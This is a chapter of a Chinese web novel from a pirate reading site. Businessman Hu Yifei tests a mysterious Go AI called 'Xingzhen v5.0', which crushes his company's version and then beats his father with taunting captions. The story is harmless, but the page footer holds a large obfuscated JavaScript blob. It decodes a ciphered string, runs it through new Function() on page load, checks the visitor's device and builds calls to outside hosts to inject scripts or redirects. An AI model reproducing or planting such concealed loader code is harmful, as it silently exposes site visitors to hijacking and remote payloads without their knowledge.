第三百五十五章 没见过围棋
另一边,胡家。
“星阵v5.0……‘猎魔人’团队倾情打造……”
胡一飞看着u盘中的脚本说明,忍不住扯了扯嘴角。
我们的星阵目前才开发到v4.0,你直接就给我蹦出来个v5.0?
这不摆明了想说不管我们开发出什么,你们的技术都比我们的好?
还真够狂的!
不过,孟大师居然随身带着这种东西……
这是早料到会是今天这个结果,所以早就准备好了在这等着我呢?
被看穿到这种地步了吗?
瑟瑟发抖……
至于这个所谓的“猎魔人”……应该就是孟浪口中那个“专业的人”了……
听起来应该也是一个开发团队。
也是,想要入股白垩纪,肯定是攻关方向和白垩纪有重叠……
只不过要按照技术入股……一分钱不给就要25%的股份……
还真是是有够狮子大开口的!
“敢开这么高的价,应该是有些本事的吧……
算了,死马当活马医了!试试也没什么损失。”
反正人家说了可以7天无理由退货……
胡一飞开始在笔记本上一顿操作,将u盘中的程序通过自己的最高管理员权限上传到公司的服务器上,并划分出单独的b分区独立运行。
真正的围棋ai可是很吃硬件的。
好在这个“星阵v5.0”并不算大,很快便上传加载完成。
胡一飞迫不及待的想要试用一番,结果刚打开,就被蹦出来的画面吓了一跳。
只见漫天的星光中,一个遮天蔽日,长须飘飘的人形虚影缓缓出现在星空之上。
“棋法阴阳,道为经纬!”
如同大吕洪钟般恢宏缥缈的声音落下。
下一瞬间,地面山河崩裂,形成一道道纵横交错的天地棋盘,擎天般的人形虚影右手执着一枚星光狠狠落下。
“啪!”
落子的刹那,屏幕上一阵耀眼白光闪过……
进入了操作界面……
“卧槽!”
胡一飞直接就被这开场动画镇住了!
多少经费啊?这cg没有个十几万下不来吧?
就突出一个奢侈!
再想想他们那个比win97开机画面强不了多少的“星阵v4.0”,胡一飞还没开始体验,就觉得这版本跨越度有些大了……
当然,他此时还并不知道,有种近乎零成本的创作模式,叫做“ai绘画”……
胡一飞心中多出了几分期待。
他们的“星阵”目前还只开发了客户端版本,虽说下围棋的主要还是注重对弈体验,不过人毕竟是视觉动物。
这种开机画面一放,那逼格立马飙升了好几倍,完全和市面上的几款同类竟品拉开了差距。
提到围棋ai,就不得不说起2016年开始的那场举世瞩目的“人机大战”!
骨歌公司研发的人工智能alphago先后向南半岛、扶桑、华国的顶级围棋手发出挑战,结果大家都知道了……
人类一方惨败,阿尔法狗以全胜战绩一战成名!
从此,“你下的跟狗一样”,变成了褒义词……
之所以这件事在当时引起轰动,举世瞩目,是因为围棋是全世界公认最难、最复杂的棋类运动。
对于一个19x19的围棋棋盘而言,上面一共有361个位置。
根据围棋规则,19x19格围棋的合法棋局数量,至少是171位数!
这个数字比我们地球所有的沙粒数量还要多,甚至比人类已知宇宙的所有星球数量还要多!
因此围棋也被誉为“人类最为复杂的智慧游戏”。
然而,在这项最能代表人类智慧的比赛中,机器的智慧首次超过了人类!
这对星球霸主人类来说,无异于一盆凉水。
它浇灭了人类的骄傲,也浇醒了人类,让他们第一次意识到,自己不再是星球上“最聪明”的存在……
ai时代的到来,颠覆了人们许多以往的认知。
自那之后,人类并没有因为恐惧停止对人工智能的研究,各国反而更加重视人工智能领域的研发。
与此同时,阿尔法狗也以一己之力带动了围棋ai的迅猛发展!
白垩纪公司虽然规模不算太大,但是在围棋ai这条赛道上,算是国内头一批吃螃蟹的“先行者”。
胡一飞决定开发这款围棋ai,本意其实也是希望通过这个赛道,切入最热门的人工智能领域,实现企业的价值跃迁。
到时候a轮b轮c轮来上一轮,上市敲钟不是梦!
当然了,除了这么崇高的理想,不可否认也是为了赚钱……
围棋虽然入门难,但是观赏性很强,又从来不缺逸事和花边,在亚洲地区有规模不小的粉丝群体。
为了能够快速变现维持研发,白垩纪研发的这款产品也推广到了市场上抢夺用户。
不过白垩纪的产品至今反响寥寥,算是泯然于市场上的几款同类产品中。
说到底,热度是够了,技术不够!
白垩纪至今为止根本就没有能够拿得出手的算法创新……
胡一飞看了看眼前的操作界面,倒是和原本的星阵有几分相似。
“绝望模式、训练模式、复盘教学……五五开模式?”
只有寥寥四个选项,前三个倒还好理解……
五五开模式是个什么鬼?
不过他倒是没有直接选择哪个模式进行体验。
凭他的水准,对个简单电脑也就五五开,随便一个围棋ai都能吊打他,根本没有体验意义。
他测试的方式很简单,那就是让v4打v5……
是骡子是马,拉出来溜溜!
他对白垩纪耗费大量资金打造的“星阵v4.0”还是有些信心的。
然后模拟对战开始……
v4执黑先行,棋盘上黑白棋子开始快速落子。
不得不说,围棋ai在前两年的“人机大战”之后,如今已经发展到人类难以望其项背的地步。
单是速度方面就让人类棋手根本连思考的时间都没有。
就连旁观,胡一飞都看的眼花缭乱,根本跟不上双方的思路。
别说是他了,哪怕是顶尖棋手也不得不承认,如今已不再是与ai对抗,而是向ai学习的时代。
现在的围棋大师们,在ai之间的对局中已经沦落到只能成为场外解说的地步……
“嗯?”
胡一飞看着屏幕,突然愣了一下。
当然不是发现什么惊为天人的“神之一手”,这种速度下能看清ai下那里了就算你眼球颤动速度合格。
他只是单纯的发现……
白子落子的速度,明显要快于黑子……
……
onehourslater……
胡一飞傻傻的看着模拟对战的结果。
第一局,“星阵v4.0”209手中盘投子认负!
第二局,“星阵v4.0”187手中盘投子认负!
第三局,“星阵v4.0”176手中盘投子认负!
胡一飞:“……”
3:0!
虽然已经有些心理准备,但是看到自己辛辛苦苦大半年的杰作被人家毫无悬念的碾压,胡一飞也是懵了。
然而,当看到双方比赛耗时的时候,胡一飞就已经不止是懵了,而是彻底震惊了!
与v4动则二十几分钟的耗时相对的,是v5那仅仅只有“小数点后”的耗时数据……
“这不可能!”
胡一飞揉了揉眼睛,完全不敢相信眼前的数据对比!
要知道为了公平起见,他给两个ai分配的是相同的运算资源。
结果人家赢了不说,就连运算时间都仅有自家版本的十分之一不到!
这是什么离了大谱的数据?
哪怕是市面上最顶尖的围棋ai,也绝对做不到这种地步,包括那个已经“退出江湖”的阿尔法狗!
反复确认了一番后台的几个关键数据。
虽然不是专业科班出身,不过天天开产品讨论会,几个关键数据的解读胡一飞还是可以做到的。
然后,在经过一番分析之后他愕然发现……
这个v5版本的星阵,拥有更加强大的算法,更快的运算速度,而它需要的运算量,甚至只有v4的百分之一……
胡一飞呼吸有些急促起来。
怪不得人家一上来就敢叫v5呢。
这哪里是什么v5,说是v10他都觉得代差过大!
跟人家比起来,自己这款v4直接就可以扫进历史的垃圾桶了……
也难怪人家有底气敢一开口就要25%,这种绝对领先市场的技术,怎么估值它都不为过。
算下来,这不是人家狮子大开口,而是自己走狗屎运被人家看上了啊!
算法!这绝对是用了更高级的创新型算法!
阿尔法狗之所以能够取得突破性的进展,是因为它将深度学习和创新性的蒙特卡洛算法做了巧妙的结合。
它的第一阶段是学习模仿人类的数千张棋谱。
第二阶段则是“左右互搏”。
这种自己与自己模拟对战的无监督自我学习模式,让获得充分算力支持的阿尔法狗在短时间内就可以达到惊人的学习提高!
白垩纪走的学习方式走的也是类似的路子。
但知道归知道,双方还是有着相当的差距的。
为了保密,阿尔法狗的核心代码是不公开的,仅仅只是开源了部分代码,每次与人对战也都是与骨歌的内部服务器连接对战。
目前阿尔法狗系列,依旧处在“一直被模仿,从未被超越”的顶级江湖地位。
别说现在已经“金盆洗手”躲起来继续升级,更加深不可测的阿尔法狗系列。
就算是市场上的同类产品,白垩纪本身也不见得有多少技术优势。
可如今,一款v5,可能就足以将白垩纪的技术水平顶到世界前沿……
这个“猎魔人”……到底是何方神圣!
“一飞!干什么呢,楼下喊你半天也不说话。”
门口突然出来的声音惊醒了陷入幻想中的胡一飞。
“哦!没什么,忙工作呢,爸,有什么事吗?”
胡父走进卧室,看了看脸色似乎有些潮红的胡一飞,有些狐疑的朝电脑屏幕上看了一眼。
结果发现居然是一副围棋棋盘。
“哦,没什么,听你妈说,最近这段时间你整天早出晚归的,整个人状态也不是很好。
是不是公司遇到什么麻烦了?”
“呃……是遇到点小麻烦,不过我会处理好的。”
胡一飞忍不住又看了一眼电脑屏幕。
靠这个星阵v5……能不能解决白垩纪公司目前的困境呢……
顺着胡一飞的目光,胡父再次看向了电脑屏幕。
“这就是你上次跟我提起过的,你们公司正在研发的那个围棋ai吧?”
“嗯……是。”胡一飞犹豫了一下,还是点点头。
“正好,让我看看你们公司鼓捣出的产品是什么样子。”胡父一副手痒的表情笑道。
“呃……”
胡一飞没想到胡父会主动提出和ai对局。
不过……刚刚v5的性能是验证过了,再看看它的“用户体验”似乎也不错。
胡父浸淫棋道多年,水平大概是介于“业余棋手”和“职业棋手”之间。
用来当体验员倒是正合适。
“可以是可以,不过现在这ai可不是人能比的。
那些职业九段的顶级棋手基本也是完败的……”
“呵!那个什么阿尔法狗嘛!我又不是没听过,知道现在时代变了,不过你看你父亲是个胜负欲特别强的人吗?
胜败乃兵家常事!”
“呃……那爸您坐。”
胡一飞只好给胡父让出座位,然后关闭模拟对战的后台,重新打开v5客户端。
“哟!这开场动画做的不错嘛!有点意思……”
“绝望模式?嗯!这个听着够狂,我先来试试。”
第一局胡父执黑,结果没下两步,白棋居然果断放弃了大角。
“智能ai?就这?”
胡一飞默不作声。
接下来毫无悬念的,白方不惜被黑先手打穿20余目,眼看黑即将逃出生天,突然一个妙手闪现截断去路!
胡父惊了,这才四十多手啊!
“呃……大意了,重来重来。”胡父投子认输。
【人类,你以为自己了解了围棋的一半,其实,你只了解了围棋的冰山一角。】
没想到,电脑屏幕上突然弹出了一串字幕。
这一幕两人都给看呆了。
“这……这软件还挺有意思的哈。”
胡父觉得脸上有些挂不住了,立刻开始了第二局。
然后……胡父就体验到了什么叫做绝望……
在人类看来未必占便宜的招数,ai却是用的天马行空,往往十多步甚至是数十步之后才会显露端倪。
说到底,人脑和计算机的思维模式,根本就不在一个频道上……
第67手,胡父再次投子认负……
【人类,你以为自己了解了围棋的冰山一角,其实你根本不了解围棋。】
胡父:“……”
这玩意儿怎么还带嘲讽升级的?
胡父觉得是自己心态失误,对付这种非人类……
不求赢,至少撑过中盘吧……
然后他整理好心态,开始了第三局……
【我原以为你不懂围棋,现在看来,你应该是没见过围棋。】
胡父:“……”
胡一飞:“……”
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();